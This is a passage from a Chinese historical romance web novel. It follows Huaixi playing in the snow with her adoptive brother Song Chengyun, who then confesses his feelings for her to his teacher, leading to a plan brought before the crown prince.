琥珀看着外面洋洋洒洒的大雪,劝说道:“姑娘,您的病才刚好,身子还虚着” 但怀夕不听,琥珀也没有办法,只好去里头将斗篷拿了出来。 这边刚披上,翡翠就推门走了进来。 门被打开一道只可侧身钻人的缝,只一小会,一股夹雪的寒风便也跟着翡翠的身影一起钻了进来…… “姑娘要出去?”翡翠见琥珀在替怀夕系带,有些惊讶。 怀夕微仰下颌,方便琥珀系带,眼睛带着笑意朝翡翠瞥过来,“正好你回来,你们也穿厚点,陪我去外头垒个雪人。” 翡翠乜了琥珀一眼,怎么可以不劝着姑娘。 外头冰天雪地的,公子日日叮嘱,不能让姑娘受寒。 琥珀白白受了责怪,也是委屈,低着头不说话。 “你别怪她。”怀夕瞧见翡翠瞪琥珀那一眼了,她牵琥珀的手,“是我呆得闷了。” 翡翠年纪大些,平日做事更周到细致,知道怀夕吃软不吃硬,只好慢慢劝道:“今日是大雪,公子午后不当值,定是会回来陪姑娘用膳的。” 翡翠走近,声音轻柔,“刘婆子今日买了好些羊肉,已 经在灶上炖着了。羊肉最是驱寒保暖,一会等汤煲好了,喝过汤,奴婢们再陪姑娘玩雪,可好?” 怀夕正在兴头上呢,哪里那么容易被说服。哪知翡翠又拿了一包东西放到她手心,“姑娘看,这是什么?” 怀夕微垂着嘴角,并不是很感兴趣,但还是配合着打开。 嗯? 一包雪白的兑糖儿。 “刘婆子看街上有人卖,特意为姑娘买的。”翡翠笑着解释道:“不过刘婆子说了,这兑糖甜的掉牙,姑娘莫要贪甜,尝一尝就是了。” 哪里甜的掉牙,怀夕觉得刚刚好,捧着手里的小零嘴,乖巧地任翡翠把斗篷重新解开。 好不容易哄得怀夕又在屋内待了一个多时辰,就在怀夕即将坐不住的时候,宋承云终于回来了。 听到外面松毫的声音,琥珀和翡翠对视了一眼,暗暗松了口气。 公子回来了,就有人能管得住姑娘了。 大部分时候,宋承云兄妹相处时并不常留仆从在侧,所以他们还不清楚,其实许多时候妥协听话的,大抵是他们那位端方沉默的公子。 所以,当怀夕午睡醒后,依然说着要出去玩雪,翡翠和琥珀是有些惊讶的。 怀夕不知道两个小丫鬟的心思,好不容易午膳时让哥哥答应陪她玩雪,没想到午觉睡得香,醒来都过了申时了,她嘴上催促着,“快些快些,起晚了” 琥珀和翡翠只好加快手上的动作。 很快,怀夕被裹得严严实实,待琥珀为她插上最后一支珠钗,她便迫不及待从梳妆台前站了起来。 虽裹得严实,脚步却还是很轻巧,下摆随着她欢快的步伐轻轻摇曳着。 两个丫鬟连梳妆盒都来不及整理,便赶紧小跑着跟着那翩跹的身影往外头而去。 怀夕冒着雪寻到书房,推门进去,坐在桌前身如修竹的男子恰好抬头。 怀夕唇角不自觉往上翘,露出两颗小小的梨涡,眼睛甜津津的,像是盛满蜜糖一样,对眼前的景象显然很满意。 ——哥哥果然守约,已经披上他的灰鼠斗篷在等她了。 “走?”怀夕就站在门口问。 她眼里的欢喜从眼角眉梢漫出来,连声音都带着轻快。 宋承云冷清的眸底浮出一层纵容的柔光,他招手示意她走近。 “先喝盏热茶。” 身子暖了,才不容易受寒。 怀夕很听话,走到宋承云跟前,端起不知何时准备好的还在冒着热气的茶杯,也不坐,就站着,一口一口地轻抿着。 因着茶水还有些烫,她喝得慢且认真,不知道身旁有道目光在她身上逡巡而过。 宋承云的确在看怀夕,外头冷,他在确认她穿得够不够厚实。 小姑娘倒是准备充分,鲜见地穿了一身浅紫色的锦缎夹袄,白梅朵朵,脖子上还围了圈蓬松的毛边,莹白小脸贴着软毛,衬得肤白发浓,五官愈发灵动。 温度适宜之后,怀夕把剩下的水一饮而尽,将茶杯扣在桌上,不愿再等,拉过宋承云的手便往外走。 边走还边喏喏不满道:“哥哥再不走雪都停了。”【你现在阅读的是 】 50-60 第51章 第51章在她的讨绕声中轻轻揽起…… 雪后初晴,慵懒的日光穿过枯枝,落在白雪上点点斑驳。 这两日存了玩雪的心思,怀夕特意交代不让扫雪。 积雪盈庭,有些位置已经堆到膝盖高,像是刘婆子做包子时用的那一袋袋雪白的面粉。 到了外面,怀夕倒不需要丫鬟和宋承云陪她玩。 他们留在廊上,怀夕自己小跑进院子里,蹲在阶上,手掬起一捧雪。 雪从指缝漏下,她觉得好玩,忍不住“咯咯”笑起来,发髻间的千瓣菊珍珠步摇随之一晃一晃。 玩雪怎么能不堆雪人呢? 怀夕用手团了个手掌大的小雪球,再想团个大些的,但 手上的伤虽然拆了纱布,可一用力还是有些微痛感。 怀夕不想败兴,只好转头喊两个跃跃欲试的小丫鬟:“你们俩快来帮忙。” 外头虽冷,但真见到满院子白茫茫的雪,两个丫鬟的兴致早被勾起,只是碍于宋承云在场 怀夕喊话后,她们看了看对方,又偷偷看了看宋承云,有些犹豫。 “去吧。”宋承云站在廊下,目光只凝在一处。只是当院里的小姑娘回眸望来时,他又不动声色地移开眼,低头去拂袖口并不在存在的雪屑。 有了琥珀和翡翠的帮忙,雪人很快就垒起来。蹲得久了,怀夕有些脚酸,索性直接坐进雪里。 还差点什么呢? 怀夕捧着雪的指尖冻得通红,但她却浑不在意。她歪着头咬了咬唇,端详着雪人一会,说道:“琥珀,你去厨房找点东西,这雪人脸上空落落的,差点意思。” “是,姑娘。”琥珀笑着应道。 “翡翠也去帮忙看看,能用上的都拿过来。” “行嘞。”翡翠应道,“雪地冷,姑娘先去廊下等我们,我们快去快回。” 怀夕点头,拉着她们伸出的手站起来。 一番动作,斗篷歪到一边,伸手去拨正,手上的雪丝沾了一脸,怀夕笑着去拂。 虽狼狈,但好不开心。 看到廊上衣冠整齐的哥哥,怀夕忽然起了个念头。 “哥哥。”怀夕喊他,笑得眉眼弯弯。 宋承云虽站在廊上,可目光不时凝在她身上,她一喊,他指节微屈,下意识想上前。 可不知想到什么,又生生顿住,只将手背在后面,慢慢收紧。 “哥哥,我脚好似扭了。”怀夕眉心倏地皱起,蹲回雪地里。 听到这声,所有的顾虑不再,宋承云立马踏雪走近。 而怀夕蹲下时,手里早就从旁侧抓了一把雪,待宋承云走近蹲下,立马朝他洒了过去。 碎雪簌簌飘散在他们中间,宋承云一时不备,被雪花迷了眼。 他忍不住微眯住眼,垂下的眼眸缝隙却还是落在眼前女子身上。 小姑娘自觉做了坏事,眼睫扑闪得厉害,唇瓣一抿又松开,似乎急剧在想着怎么撇清干系。 她腮边还沾着未化的雪花,寒风掠过,吹散她呵出的白雾,却吹不散她眼角眉梢跃动的灵气。 世间万物,不及这一瞬灵动鲜研。 怀夕见玩得有些过头,就地低头蹲靠到宋承云面前,想帮他拍走睫上的雪。 不料,头顶枯枝上冷不丁掉下一团积雪,正中怀夕头顶。 怀夕刚刚嫌兜帽碍事,没戴,现在正好,砸在她头上,虽围脖挡住一些,可还是有雪粒钻进她脖颈里,冻得她止不住嘟囔出声。 雪花在睫边化成水,宋承云看着她偷鸡不成蚀把米,有些忍俊不禁。 怀夕这下有些气急败坏,坐在地上,有些破罐破摔了。 宋承云憋住笑,伸手帮她拂去发丝上的雪,又替她将兜帽拉出来,系紧。 怀夕轻昂下颌,不满地说道:“这雪欺负人,怎么就不砸哥哥呢。” 她情绪来得快去得也快,转头又是笑脸,待宋承云收回手,她眼珠子一转,对着宋承云就是一推。 宋承云未防备,一下子被推进雪里 看着如同年年一般躺着露着肚皮姿势的哥哥,怀夕有种做了坏事得逞的快感,虽知道哥哥不会做什么,可下意识地拔腿就想跑。 可这次她却料错了。 雪本来就厚,半条小腿没在雪中,怀夕穿得厚实,抽出腿的时候略显笨拙。 才抽出一只,另一只脚被忽然伸出的手拉住。 怀夕一个趔趄,脸朝下地往下栽。 宋承云终究不舍,临了还是挪了身子过去。 怀夕就这样扑到宋承云身上,头在他胸前撞出声响。 摔倒了,扑了满身的雪,怀夕却一点也不恼,反而更起劲了。 就着压住哥哥的姿势,抓一把雪,伸手往他脖颈里钻,势要报一摔之仇。 宋承云一手揽着怕她受伤,另一只手挡住她的动作。 怀夕两只手对他一只手,却还是无法靠近他脖颈。 她索性耍赖,将整个身子的重量全压了上去, 她假作放手,头靠在宋承云胸前喘着气,嘴上一直讨饶:“我错了,我错了。” 宋承云果然不再动作,手就着她压下来的动作轻轻拍着她的背,“起来吧。” “好。” 怀夕应了一声,一只手撑起身子,假作要起来。 可起到一半,另一只手迅速抓起一把雪 宋承云眼疾手快,下意识地翻了个身,将怀夕制在身下 这下,变成怀夕垫在下面,双手还被压到脸庞两侧 整个人陷进松软的积雪里,雪花在他们翻转间被卷起又簌簌洒落,在日光下如碎银般闪烁,怀夕笑得眉眼弯弯,止不住讨绕。 “哥哥,我错了。” “冷,快些让我起来。” “” 琥珀和翡翠从厨房提了一篮子蔬果出来,走到廊下,远远看着院子里一道身影都没有。 入眼满目积雪,明明能听见不间断清脆的欢笑声 待走得再近些,才发现他们姑娘被公子压在雪地里,姑娘正抱着公子的脖颈挣扎着要坐起来,嘴上一直在讨饶 而一向清淡寡言的公子此刻脸上挂着浅浅的笑意,在姑娘的求饶声中轻轻地揽起她的腰身,将姑娘揽坐了起来。 两人的斗篷卷在一块,分不清你我。 翡翠心里突地一跳,脚步忽地一顿,不知该不该上前。 走在她身后的琥珀不明所以,推了她一把,翡翠这才回过神来。 “姐姐怎地突然停住了,吓我一跳。” 琥珀紧随翡翠的脚步,被她的忽然停滞乱了脚步,差点摔跤。 翡翠摇了摇头,说没事。 再看向院子里时,公子已经站起来,身姿笔挺,面容清疏,神色平淡地任由姑娘替他拍走身上沾染的雪花 想多了,公子和姑娘兄妹情深,而姑娘向来贪玩,也没什么 怀夕背对着回廊,不知道她们已经走近,帮宋承云拍完雪后,这才感觉自己手被冻得通红刺痛。 她唇微微噘着,本想埋怨哥哥不留情面将自己扔进雪地里,但甫一抬头,便看到哥哥被她折腾得头上的冠都有些松动。 想着刚刚她还往他身上塞了一把雪进去,也不知道有没有湿透里衣。 有些心虚,只好缩了缩脖子,把手展开给他看。 摊开的纤长指节上是圆润干净的指甲,原本如白玉般白嫩的肌肤被冻得乌红。 宋承云收回目光,平静自若地说道,“是你想玩的。” 怀夕晃了晃手,低声嘟囔道:“手冷。” 宋承林轻叹口气,将她的手握到掌心。 宋承云平日的手总是温凉,在雪地里冻一遭更是凉了几分。可对比怀夕冻得快无知觉的手,此刻的温凉已经是难得的温暖。 怀夕舒服地眯了眯眼,“哥哥真好。” 宋承云扫她一眼,什么都没说,牵着她往廊上走。 怀夕这才看到两个丫鬟。 见哥哥脚步不停,又不松开她的手,怀夕只好紧跟着他的脚步,回头对两个丫鬟说道:“就要那两块炭和那个萝卜。” “你们先插上,我晚些过来看” 怀夕的声音渐行渐远,琥珀笑着应是,提着篮子就去装扮雪人,而翡翠看着相携远去的身影,不由得又陷入沉思- 宋承云把握着度,所以怀夕脱了斗篷,里头的衣物都未曾被雪浸湿,唯有玩闹时颊边掉落的几株发丝沾上雪,进了屋后便湿粘在一旁。 不知道是何时吩咐的松毫,他们进来不久,松毫就端来了两碗姜汤。 宋承云自己就没怀夕那么幸运了,怀夕的雪是实打实地钻进他衣领内,渗到后背,拿了帕子给怀夕擦拭后,宋承云只得回屋里换衣。 临走时他嘱咐怀夕趁热喝下姜茶。 姜茶被宋承云随手放在他的书桌上,还有些烫,怀夕懒得挪动,就势坐在他书桌前的椅子上,静静地看着那些烟雾往上飘。 用手试了试碗壁,因手还有些冰冷,那股热烫显得异样的舒服,怀夕便捧着碗一口一口地抿着。 等她喝完后,宋承云还没有回来,怀夕就地拿起他桌上的书翻了起来。 晦涩的语句,没看两行,怀夕又扣上。 桌上的笔墨纸砚整齐摆放着,怀夕一个一个看过去,忽地,目光在右侧桌屉定了定。 她眼尖地看到桌屉夹缝里有一条浅黄色的绸带。 怀夕伸手将桌屉拉开,那条浅黄色绸带还是只露了一小截,上面压着哥哥的书信。 怀夕没有再碰触,就这样看着,依稀能辨认出那绸带应当是香囊的系带。 怀夕眼眸闪了闪,平日里帮哥哥收拾书桌时并没见过类似颜色的随身之物 难道是心仪女子送的? 思绪发散,怀夕忽地想起自己跟着丫鬟学绣了两月有余的荷包。 哥哥生辰就快到了,她的手也终于能活动了,那个绣了一半的荷包该抓紧绣了 盯着那条浅黄色绸带发呆的时候,下腹突然抽痛一下。 怀夕有不好的预感 果然,抽痛断断续续,没一会,身下有股热热的暖意 这阵子吃了好些药,原本半月前就该来的葵水迟了好些日子 没想到,竟来得这样猝不及防。 怀夕急忙站起,顾不得等哥哥回来,自己披上斗篷赶紧小跑出门 第52章 第52章心里隐隐有种自得感 怀夕前脚刚走,宋承云后脚就回来了,看到空无一人的房间有些惊讶。 桌上的一碗姜茶已经见底,另一碗碗壁已经见凉,宋承云还是端了起来,一饮而尽。 妹妹或许是累了想回去休息,他并未多想,坐到桌前,随手拿起一本书。 冬日日头比平日短了不少,不知过了多久,松毫进来点灯。 屋子很快亮堂起来,松毫把火柴放回原位,走过来说道:“公子,该用膳了。” 宋承云淡淡应了声,“姑娘呢?” “姑娘刚还带着琥珀去院子看雪人,这会应该已在偏厅了。” 宋承云把笔放下,从位上站起。 松毫拿来斗篷,欲替他披上,但一走近便咦了一声,“公子,您衣袍处沾上什么东西?” 午后宋承林换上的是一身锦色衣袍,衣袍上一抹暗红异色便显得极为明显。 松毫弯腰去辨认,捧高衣摆给他看,“像是血迹?” 宋承云垂眸看了看。 他并没有受伤,那个位置 宋承云下意识转头去看自己刚刚坐过的椅子。 椅子上隐约有抹轻浅的印记。 静默片刻,宋承云将衣摆拉回来,淡淡说了句:“先更衣。” 松毫不明所以,只赶紧跑去屋里取衣服。 宋承云仍定定地站在原地,目光虚虚地落在那抹浅的几乎看不到的印记,不知在想些什么。 晚膳时,宋承云一如往日,安静地吃着膳食。 怀夕因身子不是很舒服,意外地很安静。 从前月事来时怀夕很少肚痛,这次可能真是有些受了凉,肚子一阵一阵地痛,怀夕只想赶紧吃完回屋里躺着。 第一次,她在宋承云前头放下筷子。 “哥哥,我吃饱了。” 宋承云随之放下,嗯了一声。 “那我回房了。” 宋承云仍是淡淡地嗯了一声。 怀夕站起来让丫鬟替她披上斗篷,刚披好,脚步不停地便往外走。 接下来几日,怀夕每次用完膳就回房间,不再跟着宋承云去书房,宋承云也未多问过一次,只是每日厨房都会送来一盏姜茶,说是驱寒。 几日后,怀夕又开始活蹦乱跳,吃饭时话也多了起来,又开始跟屁虫一样跟着宋承云 冬至前两日,小艾终于回到金陵。 小艾至今的记忆还停留在被宋承林打晕,之后小厮骗她说怀夕已经回了泸州,她坐了几日船,又被中途送回金陵 隐约知道宋承林没做什么好事,但她并不清楚到底发生了什么 回来后听琥珀他们说姑娘回来的时候身上受的伤,心疼得不行。 晚上主仆许久不见,怀夕让她抱来被子一起睡,小艾也没有拒绝。 没有外人后,小艾才敢开口问怀夕缘由。 虽然三公子自小爱欺负他们,可上京以来小艾对他颇有改观的,怎么突然就绑走她们。 怀夕有些犹豫,自回来后,身边没人再提起过这件事。 但是小艾不同,她们一起长大,除了娘亲和哥哥,她便是自己最亲的人了。 她至今都不知宋承林为何会对她起了那种龌龊的心思。 那日药效发作,她只隐约听到一声嘶吼,但并不知道哥哥最后如何处置了他。 她也根本不想问,总之,以后不会再见到这个人了。 怀夕犹豫再三,还是没有隐瞒。 小艾也算聪慧,一点就通。 “杀千刀的,他算哪根葱?”小艾立马就炸了。“竟敢觊觎姑娘,还用那样龌龊的手段来谋姑娘。” “见过恶心的,没见过这般恶心的。”小艾性子直,说话也直。 怀夕拍了拍手,示意她小声些。 小艾还气不过,“他怎么敢!算起来,姑娘还算是他妹妹,这种人渣” 是啊,她可是他妹妹。 怀夕无端想起宋承林几次在她耳边嘶吼过的话。 她说哥哥 不可能。 怀夕摇了摇头。 见自家姑娘不愿多说,小艾也不再开口,只在心里不停咒骂宋承林。 冬至大如年,小艾回来了,怀夕脸上更多了些笑意。 冬至前一日,怀夕照例让刘婆子回去跟家人团聚。今年多了琥珀和翡翠,比往年又热闹了一些。 包了几年饺子,如今怀夕也包得有模有样,一整天下来,主仆几人便准备好一日的饭菜。 按从前的习惯,除了饺子,照例包了汤圆,几月前就酿好的糯米酒也上了桌。 晚膳时,小艾和松毫说什么都不愿再一同围桌了。 怀夕也不强求,饺子和汤圆煮了两大锅,怀夕让她们一同分给前院差使的小厮。 冬至是一年最冷的时候,今日虽未飘雪,可外头风却很大,撞得门窗有些哐哐响。 饭后,怀夕同宋承云提议,先回她屋里下盘棋。 宋承云没有异议。 小艾吃过饭,与琥珀她们聊了一会,就回屋来。敲了敲门,听到怀夕应了,便推门进来。 几个丫鬟,除了小艾,其他人在宋承云面前都有些畏怕不自在。 看到外间对弈的两人,小艾习以为常,送了一些茶水和糕点到盘侧。 果然,刚放下,怀夕便伸手捻起一枚红豆糕。 “好吃。” 其实是轮到她的次序,不过显然她注意力已经不在这了。 怀夕又捻起一枚,喂给小艾。 小艾有些尴尬地看了眼宋承云,见他并未看过来,才敢张口,叼住怀夕喂来的搞点。 显然,小艾也觉得很好吃,对着怀夕直点头。 红豆糕是她们第一次尝试做的,没想到那么成功。 在家里休息了一阵,许久未去拜见王老太师夫妇和干娘他们,怀夕想着明日可以做一些送去给他们品尝一下。 怀夕边落下一字边同小艾说道:“那糯米酒还剩了许多,已经凉了,你拿去温一下再送进来吧。” 小艾应是。 她走后,怀夕又捻起一块。 刚想送进嘴里时,恰好看到对面的哥哥在盯着她。 怀夕疑问,挑了挑眉,犹豫着把手里的糕点递过去。 “哥哥想吃?” 宋承云摇头,淡淡说道:“轮到你了。” “哦。”怀夕把糕点放回,这才看着棋盘仔细思索起来。 几手回合,输赢已见端倪。 怀夕不想垂死挣扎,直接弃棋认输。 宋承云脸色淡淡的,并没有赢棋的喜悦。 怀夕输习惯了,也是一副无所谓的样子。 “再来一盘?”宋承云问道。 怀夕歪了歪头,有些犹豫,一盘至少要下半个时辰 不过也无妨,反正闲着也是闲着,于是点了点头。 宋承云把棋盘上的黑白子分开捡入棋娄,怀夕喝了口茶,想再去拿红豆饼吃,才发现刚刚她咬了一口的饼已经不在了 饼哪里去了? 怀夕狐疑地看着哥哥。小艾不在,在也不会拿,难怪是年年? 怀夕看着在哥哥脚边熟睡的小猫奴,否定了这个答案。 那只有一种可能,哥哥吃了。 想来哥哥没注意那红豆饼少了一角,怀夕看着碟子上剩余的绿豆和黑米口味的饼,犹豫了一下,拿起一枚黑米饼- 翌日,怀夕向王府递了拜帖、 身子痊愈后,这还是她第一次来王府给夏敏请安。 今日来得巧,夏敏院子里有客人,不过马嬷嬷还是将她请了进去,怀夕料想里头的也是她熟识的人。 原来是沈玉瑶。 见她进来,王郁心亲热地上前来搂住她,左看右看,问她病好没有。 见怀夕点头,王郁心开心说道:“你都不知道,这阵子我多无聊” 夏敏瞪了她一眼,招手让怀夕过去。 怀夕走近,她牵起怀夕的手,看到掌心里留下的斑驳痕迹,心里不由纠了一下,心疼地抚了抚。 沈玉瑶并不知道怀夕发生了什么,只听王郁心说她生了病。 虽不是很在意,但在夏敏面前,还是关切地说道:“今年冬日可比往年冷多了,妹妹早晚可都要注意多添件衣服。” 怀夕与沈玉瑶虽是同龄,但出生月份差了几个月,又常在王府见到,因此平日里也是姐姐妹妹相称。 怀夕笑着点了点头,“多日不见,还未来得及恭喜沈姐姐。” 此言一出,厅上的人不免都把目光落到沈玉瑶身上。 沈玉瑶有些羞赧,低下头说多谢。 王郁心难得见沈玉瑶害羞,还低下来去看她,惹得沈玉瑶更是红了脸。 夏敏也笑着看过来。 自定了亲后,这些恭贺的话,沈玉瑶已经听了许多。可在怀夕口中听到,不知怎地,她心里隐隐有种自得感。 再让沈玉瑶选一次,她知道,自己仍然会这样做。 虽这亲事得来的不算光彩,虽疼爱自己的父亲对自己再不如从前那般亲近,虽从不舍得怨怪自己的母亲也叱骂过自己,可她仍不后悔。 她遂了愿,将来要嫁的是自己的心上人。 她相信,总有一天,父母亲都可以理解她。 几人说了一会话,夏敏留她们用膳,还亲自说了几道菜,让马嬷嬷吩咐下去做。 离午膳还有些时候,王郁心便带着她们俩先去逛逛花园。 只是风太大,王郁心又不小心脏了衣裙,索性她们两人都陪王郁心回她院里换衣,顺便喝盏热茶。 等待的间隙,沈玉瑶状似无意地说起:“我听姨母闲聊说,宋编修今年已经拒了好几门亲事?” “嗯?”怀夕有些意外沈玉瑶会主动提出话题。 她与沈玉瑶虽碰面次数不少,但私下两人其实很少说话。 怀夕多少能感觉到她并不是很喜欢自己,虽不知道缘由,不过她也不在意。 沈玉瑶轻笑,“怀夕姑娘好像不那么惊讶?” 怀夕摇了摇头,浅道:“哥哥从不与我提起这些,不过确实是听干娘提过一回。” 沈玉瑶挑了挑眉,“是么。” 她话里有话,怀夕不知是听不出来还是不想接茬,嗯了一声。 正好王郁心的贴身丫鬟橘林端来一盘糕点,摆在桌上,笑盈盈地请她们尝尝。 这糕点的卖相 实在一言难尽。 怀夕左看右看,都看不出来捏 得到底像个啥?马头?狗头? 四不像的 不过她还是捻起一枚,放到嘴里。 很快,忍不住皱眉 这也太甜了。 怀夕忍着把糕点吞下,又大大喝了一口茶。 “你家姑娘的厨艺”怀夕无奈道:“你们也不拦着她?” 橘林捂住嘴不敢笑出声。 怀夕身上总透出一种明媚又温暖的感觉,让人忍不住亲近,夏敏和王郁心屋里的婢女都很喜欢她,所以在她面前不自主地都会放松一些。 沈玉瑶捧起茶杯,轻抿了口茶,看怀夕和丫鬟说笑,嘴上也拉了一抹浅浅的笑容。 只是目光落在怀夕脸上,眸里闪过一丝暗色。 不可否认,即使她不喜欢怀夕,可不得不说,她的那双眼睛,长得真是好。 眸色浅如琥珀,如梦如幻,纯净无邪。 让人看了,无端让人有种自惭形秽的感觉。 明明她身份比她尊贵千倍万倍,可只要有她在,不管是姨母,还是郁心妹妹,抑或是裴劭,他们永远都围着她转 想到前几日无意间在父亲书房听到的话,沈玉瑶嘴角不自觉扬起。 没关系,很快,这些人也会对她嗤之以鼻。 第53章 第53章若是问心有愧呢? 刚下值出了宫门,宋承云便被王楚修的车驾拦住,说是上次拿了他一卷书,天色还早,若是方便,请宋承云顺道去取。 散值的官员三三两两,有些被这边的动静吸引看来。 宋承云没多说,便上了马车。 拿书当然只是个借口,宋楚修其实也不知道父亲让他请宋承云家去是何缘由,因此车上也只是闲聊。 两人一齐到了王老太师的院子,通报的人出来后,低着头说:“太师说,请宋编修一人进去。” 王楚修:“” 敢情他只是个跑腿的。 “那你进去吧。”王楚修干笑了笑,“不过,我这真有卷书要同你探讨,一会你与父亲聊完,我俩再叙。” 宋承云应是,拱手行完礼便跟着引路的小厮进去。 书房内明窗净几,宝炉内烟雾缭绕,淡淡的檀木香弥漫着。 王老太师坐在一侧的花梨茶几上,手里拿着一本书,是陆羽所著的茶经。 见宋承云进来,他把书放下,笑道:“免礼,过来尝尝我的茶。” 宋承云应是,在茶几的另一侧落座。 宋承云坐下后,想提壶冲茶,王老太师却摆了摆手。 “这是歙州来的茶叶,昨日太子特意叫人送来的,今日,让你品品我的茶艺吧。” 宋承云便将手收回,轻笑道:“那承云便恭敬不如从命了。” 这歙州茶叶有特殊的泡法,滚水一过一浇,汤色立马变得红艳透明,香气也有几分独特。 宋承云在嘴里抿了抿,这茶带着花果香气,有些像妹妹平日里爱捣鼓添进茶里的花蜜。 显然,王老太师也并不太喝的惯。 “算了,还是换碧螺春吧。” 宋承云轻笑,自然无不可。 很快,仆人新呈上了一副新的茶具,这次,王老太师便没再阻止宋承云动手了。 宋承云知道,老太师专程请自己过来,不可能只是来陪他品茗的。可王老太师不说,他也只是安静地等待。 王老太师接过他递过来的茶杯,抿了一口,哈哈笑了笑。 难得有这个爱徒不擅长的事情。 “品茗你算得上是一流,不过,这泡茶的功夫,最多只算合格。”王老太师调侃道,“我听你师母说,你妹妹倒同你宋伯母学了手泡茶的好功夫,这方面她可以当你老师。” 宋承云低头笑了笑。 老太师其实不是无意提起怀夕,相反,是故意的,也想借此看看爱徒的反应。 可惜什么都看不出来。 闲话几巡,是该进入正题了,王老太师将手里的茶杯放下,正了正色:“其实叫你来,是有要事同你说。” 王老太师已经到了知天命的年纪,这几年很少有事能让他真的忧心,可事关储君,他不能不小心对待。 “如今朝堂上有人紧盯着想抓太子的错处,抓不到,他们便只能抓他身边人的错处。”王老太师紧蹙着眉头,“伯卿,我不怕说予你知,圣上龙体,恐怕” 圣上龙体欠佳,日日梦魇,已经好几日没上朝了。 太子本就有代领朝纲之责,可说句不好听的,这种时候,做得好是本分,若有些错处,那少不得让人拿来做文章。 那些人明面上不敢拿储君来做文章,自然,只能从他身边的人入手。 太子爱才,并不掩饰对承云的青睐,加上承云和太子皆是他的学生,很多目光少不得会聚在承云身上。 这次他忽然离开金陵几日,有心人只要一探查,多少能摸得到些蛛丝马迹。何况,此行中还有太子的人,这文章能做得多大,便看背后的人到底想闹得有多大。 但事态如今还不至于如此严重。 只要妥善善后,不让事情发酵,那事态便还能控制得住。 御史们参奏的文章在递到内阁前,已经有人抄录送到太子处。王老太师翻了几封,气得胡子都要翘起来。 老太师十分清楚朝野上那些腌臜手段,明着找不到破绽,便只能从私德上做文章。 大意都是说宋承云不顾人伦,占妹为裔,诸如此类不堪入目的言语。 王老太师将太子的态度同宋承云大致说清,只是说到那些参奏的内容时,终究说不出口。 他叹了口气,“原本是你的家事,太子和我,都不应该指点。只是” 听完王老太师一番话,宋承云神色并未有什么变化,从找上太子那一刻起,他就知道,这件事情不可以瞒得住。 见老师欲言又止,宋承云说道:“老师直说吧。” 也由不得他犹豫,王老太师看着宋承云的眼睛,“眼下不能让这把火烧起来,而最好的方法,便是给你妹妹怀夕定一门亲事,并且,尽快成婚。” 王老太师知道宋承云有多看重怀夕这个妹妹,虽说这事仓促些,可再仓促,有太子和他在背后撑腰,还是能容许怀夕挑到一个她满意的夫婿,总不会委屈了她的。 听完后,宋承云默了一瞬才道:“没有别的办法么?” “若是你娶妻也好,可眼下你正处箭靶之上,能在京里做官的这些人都精着,之前那些想同你结亲的,如今不知都躲在哪里观望” 王老太师见宋承云不说话,继续说道:“自古多少清白毁于流言,如今你妹妹已经及笄。成年兄妹独居一起,若有心人想攻击,黑的都能说成白的。我知道你问心无愧,可君子不立于危墙,伯卿,就算为了你妹妹,你也要好好做打算” 夕阳余晖透过珠帘斑驳洒落在茶桌上,青瓷茶盏里的茶叶浮浮沉沉,碧螺春入喉之后,舌尖苦涩蔓延至心底。 宋承云垂着眼,眉头微蹙显出专注的弧度。 王老太师一番谆谆善诱,说得嘴都有些干了,他知道这个爱徒一定会懂他的用意的,见他听得认真,心下也平稳了不少。 茶杯晾了一会,已经不那么温热了,老太师还是端起喝了半盏。 “若是学生问心有愧呢?” 茶杯哐当一声,碰到桌沿,又滚落地上,细微的裂缝瞬间蔓延,碎片散开一地。 垂落的睫羽微抬,宋承云望向王老太师惊滞的眼神里。 显然,这句话在王老太师心底炸了个响雷,他猛地睁大眼睛看向眼前这位他最欣赏的学生。 王老太师从不掩饰对宋承云的欣赏和喜爱,除了太子,宋承云是他教过最有慧根的学生。 他认为,读书人就该像他这般,君子如竹,谦和温润。 他教过那么多学生,也唯有他一人,能做到不滞于物,不殆于心,思而惘顾,行而桀黠。 但人无完人,他从前觉得,这位学生唯一有些不足的,就是太无所求了。 做人,不能太心无挂碍。无所求则无所 惧,可胸怀天下,一定须有一颗博爱之心。 都是聪明人,老太师当然不会以为宋承云是无缘无故说出这句反问。 问心有愧? 他的声音如往常般清清淡淡,像冬日湖面,所有情绪都似封冻在平静干爽的冰层之下。 王老太师忽然觉得自己或许还是不太了解这个学生,但到底心里还是存了一丝侥幸。 “你可知道你在说什么?”王老太师神色认真。 自从知晓自己的心意后,宋承云就知道,总有一天,这份心意会藏不住。 可那又如何呢?他并不在意别人怎么看。 唯一在意的 茶炉里的热水奔腾翻滚,热气氤氲在周遭,潮湿了桌面一角。 “我知道。”宋承云坚定的声音与沸水的咕噜声交织。 “这便是你一直不愿成家的缘由?”王老太师眉头紧锁,盯着他许久,才缓缓开口“你可知道,这意味着什么?” 见宋承云点头,可眸底的坚定不变,他深深叹了一口气,“你以后的路,或许会很难走” 宋承云垂眸,掩下眸里那抹执着,他知道什么对他是最重要的。 他曲下膝盖,对着王老太师跪了下去,“承云辜负老师厚爱。老师放心,太子那里,我会亲自上门请罪。” 王老太师心里虽有些怒气,到底还是疼爱这个学生的,见他跪下,又来拉他。 他不想承认,自己对这个入室弟子,是真的偏心到没眼了。 到了此刻,见他不肯妥协,他心里已经在开始替他找补。 说到底,怀夕并不是他亲妹妹。 男女之间,相处久了,会产生感情也情有可原。 最后,王老太师重重叹了一口气,“你让我再想想。” 王老太师并没有想太久,他与太子原本都觉得此事不难解决,只要怀夕出嫁,谣言自然不攻而破。 为免事情生变,首要是要让太子知道,再行筹谋。 “现在就去太子府。”王老太师撑着桌沿站起,语气不容置喙,“我与你同去。”- 夜色深沉,寒风呼啸,太子府内一片沉寂。 一名侍卫跪在冰冷的地上,垂着眼回禀道:“王老太师和宋编修已在二门外等着。” 太子静坐在书桌前,有些惊讶,“现在?” “是。” “请进来。”- 太子向来礼待恩师,亲自在书房门口迎王老太师。 窗户是细碎的小雪,屋内却是熠熠生辉,温暖如春。 底下人上完茶退下,轻微的阖门声后,宋承云正想提步上前,却被王老太师按住。 太子显然也注意到这个动作,不过只是略笑笑,“老师,到底是何事?要您老亲自来一趟。” 王老太师回头瞧了一眼宋承云,才斟酌着开始说道:“不知太子是否听说过民间的一种说法?” 王老太师的话显然有些出乎太子意料,不过太子还是接话问道:“什么说法?” “童养媳。 第54章 第54章将她永远绑在自己身边吗…… 太子微微愣住,一时没反应过来。 而王老太师身后的宋承云听完之后,呼吸也是滞了一滞。 他没想到,老师说的他有办法,是这样的办法 